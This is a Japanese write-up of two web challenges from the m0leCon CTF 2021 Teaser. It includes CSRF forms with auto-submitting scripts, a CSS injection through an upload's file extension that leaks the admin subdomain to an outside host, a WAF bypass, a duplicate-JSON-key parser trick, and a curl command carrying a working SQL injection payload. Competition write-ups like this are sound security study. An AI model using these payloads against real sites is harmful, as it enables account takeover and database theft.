m0leCon CTF 2021 Teaser writeup

5/15 - 5/16という日程で開催された。zer0ptsで参加して7位。

[Web] m0lefans

ユーザごとに別のサブドメインが用意されるInstagram的なSNSが与えられるので、adminのサブドメインを特定し、adminのフォロワーしか読めない記事をなんとかして読めという問題だった。

まずはadminのサブドメインを特定する方法。画像のアップロードができるエンドポイントは各ユーザごとに発行されたサブドメイン下ではなく、共通の https://m0lecon.fans/feed/create だった。CSRF対策もされていないので、以下のようにCSRFでadminに好きな画像をアップロードさせることができる。

<form method="POST" enctype="multipart/form-data" action="https://m0lecon.fans/feed/create" id="form">
  <input type="text" name="description" value="ok">
  <input type="file" name="file" id="up">
  <input type="submit" value="Publish" id="go">
</form>
<script>
(async () => {
const form = document.getElementById('form');
const up = document.getElementById('up');

const content = await fetch('computer_memory.png').then(resp => resp.blob());

const blob = new Blob([content], { type: "image/png"}); 
const filename = 'payload_' + Math.random() + '.png';
const file = new File([blob], filename);

const dt = new DataTransfer();
dt.items.add(file);
const list = dt.files;

up.files = list;

const go = document.getElementById('go');
go.click();
})();
</script>

ファイル名は拡張子だけが保持されてリネームされ、アップロードされた画像は <div class="row image" style="background-image: url(https://m0lecon.fans/static/media/posts/09a18c96-f438-458d-89ad-9edd32ee2c27.(拡張子)"></div> のようにCSSを使って表示される。ここでCSS Injectionができ、拡張子を );content:url('http:example.com.com'); のようにしてやると、example.com から画像が読み込まれる。この際送られてきたHTTPリクエストを見ると、リファラy0urmuchb3l0v3d4dm1n.m0lecon.fans とadminのサブドメインが入っていた。

adminにフォローリクエストを送っても無視される。フォローリクエストの承認が行われるエンドポイントはadminのサブドメイン下にあるが、こちらもCSRFでなんとかできる。

<form method="POST" enctype="multipart/form-data" action="https://y0urmuchb3l0v3d4dm1n.m0lecon.fans/profile/request" id="form">
  <input type="text" name="id" value="72">
  <input type="submit" value="Accept" id="go">
</form>
<script>
const go = document.getElementById('go');
go.click();
</script>

[Web] Waffle

WAF Bypass + 同じ名前のキーが二度出現するJSONの解釈の問題 + SQL Injection。まずs1r1usさんが /gettoken%3fcreditcard=asdf&promocode=FREEWAF で、Python側では FREEWAF までが path と解釈され、バックエンドのGolang側では creditcard=asdf&promocode=FREEWAF 部分はGETパラメータとして解釈されるために、WAFをバイパスしてトークンを発行させられることを見つけた。

@app.route('/', defaults={'path': ''}, methods=['GET'])
@app.route('/<path:path>', methods=['GET'])
def catch_all(path):
    print(path, unquote(path))
    
    if('gettoken' in unquote(path)):
        promo = request.args.get('promocode')
        creditcard = request.args.get('creditcard')

        if promo == 'FREEWAF':
            res = jsonify({'err':'Sorry, this promo has expired'})
            res.status_code = 400
            return res

        r = requests.get(appHost+path, params={'promocode':promo,'creditcard':creditcard})

    else:
        r = requests.get(appHost+path)
    
    headers = [(name, value) for (name, value) in r.raw.headers.items()]
    res = Response(r.content, r.status_code, headers)
    return res

バックエンドのGolang側には name 経由でのSQLiがある。Python側では以下のように name がalnumであるかどうかチェックしているが、 {"name":"a\u0027","name":"123"} という風に name というキーが二度出現するJSONを渡してやると、JSONのパース時にPython側では後者を、Golang側では前者を name の値とするためにバイパスできる。

    if 'name' in j:
        x = j['name']
        if not isinstance(x, str) or not x.isalnum():
            badReq = True

あとはSQLiするだけ。

$ curl --path-as-is "http://waffle.challs.m0lecon.it/search" -b "token=LQuKU5ViVGk4fsytWt9C" -H "Content-Type: application/json" -d '{"min_radius":0,"max_radius":0,"name":"a\u0027 union select 1, 2, 3, (select flag from flag) union select name, radius, height, img_url from waffle where name = \u0027","name":"123"}'
[{"name":"1","radius":2,"height":3,"img_url":"ptm{n3ver_ev3r_tru5t_4_pars3r!}"}]

JSONネタ関連の記事や過去問: